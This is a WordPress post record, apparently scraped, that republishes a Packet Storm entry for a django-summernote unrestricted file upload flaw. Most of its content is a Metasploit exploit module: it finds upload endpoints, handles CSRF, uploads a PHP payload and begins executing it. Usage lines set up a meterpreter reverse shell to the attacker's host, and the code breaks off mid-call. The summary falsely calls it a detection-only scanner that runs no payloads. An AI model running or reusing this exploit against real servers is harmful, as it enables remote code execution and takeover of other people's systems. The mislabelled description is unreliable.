{"id":37900,"date":"2026-01-28T12:45:54","date_gmt":"2026-01-28T12:45:54","guid":{"rendered":"http:\/\/localhost\/?p=37900"},"modified":"2026-01-28T12:45:54","modified_gmt":"2026-01-28T12:45:54","slug":"django-summernote-08200-unrestricted-file-upload-scanner","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=37900","title":{"rendered":"\ud83d\udcc4 Django Summernote 0.8.20.0 Unrestricted File Upload Scanner_PACKETSTORM:214484"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-01-28T17:51:53&#8243;,&#8221;description&#8221;:&#8221;This Metasploit Auxiliary Scanner module detects unrestricted file upload vulnerabilities in django-summernote. It targets misconfigurations where image validation depends on the Pillow library and allows non-image files to be uploaded when Pillow is&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-01-28T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-01-28T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Django Summernote 0.8.20.0 Unrestricted File Upload Scanner&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:214484&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : Django Summernote 0.8.20.0 Unrestricted File Upload Scanner (Auxiliary)                                                     |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.1 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/djangopackages.org\/packages\/p\/django-summernote\/                                                                    |\\n    =============================================================================================================================================\\n    \\n    [+] References :  https:\/\/packetstorm.news\/files\/id\/214231\/\\n    \\n    [+] Summary    :  This Metasploit Auxiliary Scanner module detects unrestricted file upload vulnerabilities in django-summernote. \\n                      It targets misconfigurations where image validation depends on the Pillow library and allows non-image files to be uploaded when Pillow is missing. \\n                      The module safely scans common upload endpoints, handles CSRF protection, and confirms vulnerability by observing successful JSON responses containing uploaded file URLs. \\n                      It performs detection only, does not execute payloads, and is designed for safe, non-intrusive security assessment.\\n    \\n    [+] Usage : \\n    \\n    \\n    use exploit\/unix\/http\/django_summernote_rce\\n    set RHOSTS 192.168.1.100\\n    set RPORT 80\\n    set TARGETURI \/\\n    set PAYLOAD php\/meterpreter\/reverse_tcp\\n    set LHOST [Your_IP]\\n    set LPORT 4444\\n    \\n    check\\n    \\n    exploit\\n    \\n    [+] POC :\\n    \\n    ##\\n    # This module requires Metasploit: https:\/\/metasploit.com\/download\\n    # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n    ##\\n    \\n    class MetasploitModule \\u003c Msf::Exploit::Remote\\n      Rank = NormalRanking\\n    \\n      include Msf::Exploit::Remote::HttpClient\\n      include Msf::Exploit::FileDropper\\n    \\n      def initialize(info = {})\\n        super(\\n          update_info(\\n            info,\\n            &#8216;Name&#8217;           =\\u003e &#8216;Django Summernote Unrestricted File Upload RCE&#8217;,\\n            &#8216;Description&#8217;    =\\u003e %q{\\n              This module exploits an unrestricted file upload vulnerability in django-summernote \\u003c= 0.8.20.0.\\n              The vulnerability occurs when the &#8216;Pillow&#8217; library is missing from the server environment,\\n              forcing the application to use a &#8216;FileField&#8217; instead of an &#8216;ImageField&#8217;. \\n              This allows an attacker to upload arbitrary files (such as PHP shells).\\n              If the media directory is misconfigured to allow script execution, Remote Code Execution (RCE) is possible.\\n            },\\n            &#8216;Author&#8217;         =\\u003e [ &#8216;indoushka&#8217; ],\\n            &#8216;License&#8217;        =\\u003e MSF_LICENSE,\\n            &#8216;Platform&#8217;       =\\u003e &#8216;php&#8217;,\\n            &#8216;Arch&#8217;           =\\u003e ARCH_PHP,\\n            &#8216;Targets&#8217;        =\\u003e [\\n              [&#8216;PHP Payload (Generic)&#8217;, { &#8216;Platform&#8217; =\\u003e &#8216;php&#8217;, &#8216;Arch&#8217; =\\u003e ARCH_PHP }]\\n            ],\\n            &#8216;DefaultTarget&#8217;  =\\u003e 0,\\n            &#8216;DisclosureDate&#8217; =\\u003e &#8216;2026-01-24&#8217;,\\n            &#8216;References&#8217;     =\\u003e [\\n              [&#8216;URL&#8217;, &#8216;https:\/\/github.com\/summernote\/django-summernote&#8217;]\\n            ],\\n            &#8216;Notes&#8217;          =\\u003e {\\n              &#8216;Stability&#8217;   =\\u003e [CRASH_SAFE],\\n              &#8216;Reliability&#8217; =\\u003e [REPEATABLE_SESSION],\\n              &#8216;SideEffects&#8217; =\\u003e [ARTIFACTS_ON_DISK]\\n            }\\n          )\\n        )\\n    \\n        register_options([\\n          OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;The base path to the Django application&#8217;, &#8216;\/&#8217;])\\n        ])\\n      end\\n    \\n      def check\\n        upload_paths = [\\n          &#8216;\/summernote\/upload_editor_file\/&#8217;,\\n          &#8216;\/summernote\/upload_attachment\/&#8217;,\\n          &#8216;\/admin\/summernote\/upload_editor_file\/&#8217;\\n        ]\\n    \\n        upload_paths.each do |path|\\n          full_path = normalize_uri(target_uri.path, path)\\n          res = send_request_cgi(&#8216;method&#8217; =\\u003e &#8216;GET&#8217;, &#8216;uri&#8217; =\\u003e full_path)\\n    \\n          if res \\u0026\\u0026 (res.code == 405 || (res.code == 200 \\u0026\\u0026 res.body.include?(&#8216;upload_editor_file&#8217;)))\\n            return Exploit::CheckCode::Appears\\n          end\\n        end\\n        Exploit::CheckCode::Safe\\n      end\\n    \\n      def exploit\\n        upload_paths = [\\n          &#8216;\/summernote\/upload_editor_file\/&#8217;,\\n          &#8216;\/summernote\/upload_attachment\/&#8217;,\\n          &#8216;\/admin\/summernote\/upload_editor_file\/&#8217;\\n        ]\\n    \\n        upload_paths.each do |path|\\n          full_path = normalize_uri(target_uri.path, path)\\n          print_status(\\&#8221;Checking endpoint: #{full_path}\\&#8221;)\\n    \\n          res = send_request_cgi(&#8216;method&#8217; =\\u003e &#8216;GET&#8217;, &#8216;uri&#8217; =\\u003e full_path)\\n          next unless res\\n    \\n          cookies = res.get_cookies\\n          csrf_token = res.get_cookies_parsed[&#8216;csrftoken&#8217;]\\u0026.first\\n    \\n          filename = \\&#8221;#{Rex::Text.rand_text_alpha(8)}.php\\&#8221;\\n          data = Rex::MIME::Message.new\\n          \\n          if csrf_token\\n            data.add_part(csrf_token, nil, nil, &#8216;form-data; name=\\&#8221;csrfmiddlewaretoken\\&#8221;&#8216;)\\n          end\\n    \\n          data.add_part(payload.encoded, &#8216;application\/x-php&#8217;, nil, \\&#8221;form-data; name=\\\\\\&#8221;files\\\\\\&#8221;; filename=\\\\\\&#8221;#{filename}\\\\\\&#8221;\\&#8221;)\\n    \\n          print_status(\\&#8221;Attempting to upload payload: #{filename}\\&#8221;)\\n    \\n          res = send_request_cgi({\\n            &#8216;method&#8217;  =\\u003e &#8216;POST&#8217;,\\n            &#8216;uri&#8217;     =\\u003e full_path,\\n            &#8216;ctype&#8217;   =\\u003e \\&#8221;multipart\/form-data; boundary=#{data.bound}\\&#8221;,\\n            &#8216;cookie&#8217;  =\\u003e cookies,\\n            &#8216;headers&#8217; =\\u003e { &#8216;Referer&#8217; =\\u003e full_path }, # Referer is often required for Django CSRF\\n            &#8216;data&#8217;    =\\u003e data.to_s\\n          })\\n    \\n          if res \\u0026\\u0026 res.code == 200 \\u0026\\u0026 res.headers[&#8216;Content-Type&#8217;]\\u0026.include?(&#8216;application\/json&#8217;)\\n            begin\\n              json_res = res.get_json_document\\n    \\n              file_url = json_res[&#8216;files&#8217;] ? json_res[&#8216;files&#8217;][0][&#8216;url&#8217;] : json_res[&#8216;url&#8217;]\\n    \\n              if file_url\\n                print_good(\\&#8221;Payload uploaded successfully: #{file_url}\\&#8221;)\\n    \\n                register_file_for_cleanup(File.basename(file_url))\\n    \\n                print_status(\\&#8221;Executing payload via GET request&#8230;\\&#8221;)\\n                send_request_cgi({\\n    \\t\\t\\t\\n    \\n    Greetings to :============================================================\\n    jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*|\\n    ==========================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/214484&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/214484\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-01-28T17:51:53&#8243;,&#8221;description&#8221;:&#8221;This Metasploit Auxiliary Scanner module detects unrestricted file upload vulnerabilities in django-summernote. It targets misconfigurations where image validation depends on the Pillow library and allows&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-37900","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Django Summernote 0.8.20.0 Unrestricted File Upload Scanner_PACKETSTORM:214484 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=37900\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Django Summernote 0.8.20.0 Unrestricted File Upload Scanner_PACKETSTORM:214484 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-01-28T17:51:53&#8243;,&#8221;description&#8221;:&#8221;This Metasploit Auxiliary Scanner module detects unrestricted file upload vulnerabilities in django-summernote. It targets misconfigurations where image validation depends on the Pillow library and allows...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=37900\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-01-28T12:45:54+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=37900#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=37900\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Django Summernote 0.8.20.0 Unrestricted File Upload Scanner_PACKETSTORM:214484\",\"datePublished\":\"2026-01-28T12:45:54+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=37900\"},\"wordCount\":926,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"news\",\"NONE\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=37900#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=37900\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=37900\",\"name\":\"\ud83d\udcc4 Django Summernote 0.8.20.0 Unrestricted File Upload Scanner_PACKETSTORM:214484 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-01-28T12:45:54+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=37900#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=37900\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=37900#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Django Summernote 0.8.20.0 Unrestricted File Upload Scanner_PACKETSTORM:214484\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Django Summernote 0.8.20.0 Unrestricted File Upload Scanner_PACKETSTORM:214484 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=37900","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Django Summernote 0.8.20.0 Unrestricted File Upload Scanner_PACKETSTORM:214484 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-01-28T17:51:53&#8243;,&#8221;description&#8221;:&#8221;This Metasploit Auxiliary Scanner module detects unrestricted file upload vulnerabilities in django-summernote. It targets misconfigurations where image validation depends on the Pillow library and allows...","og_url":"https:\/\/zero.redgem.net\/?p=37900","og_site_name":"zero redgem","article_published_time":"2026-01-28T12:45:54+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"5 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=37900#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=37900"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Django Summernote 0.8.20.0 Unrestricted File Upload Scanner_PACKETSTORM:214484","datePublished":"2026-01-28T12:45:54+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=37900"},"wordCount":926,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","news","NONE","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=37900#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=37900","url":"https:\/\/zero.redgem.net\/?p=37900","name":"\ud83d\udcc4 Django Summernote 0.8.20.0 Unrestricted File Upload Scanner_PACKETSTORM:214484 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-01-28T12:45:54+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=37900#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=37900"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=37900#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Django Summernote 0.8.20.0 Unrestricted File Upload Scanner_PACKETSTORM:214484"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/37900","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=37900"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/37900\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=37900"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=37900"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=37900"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}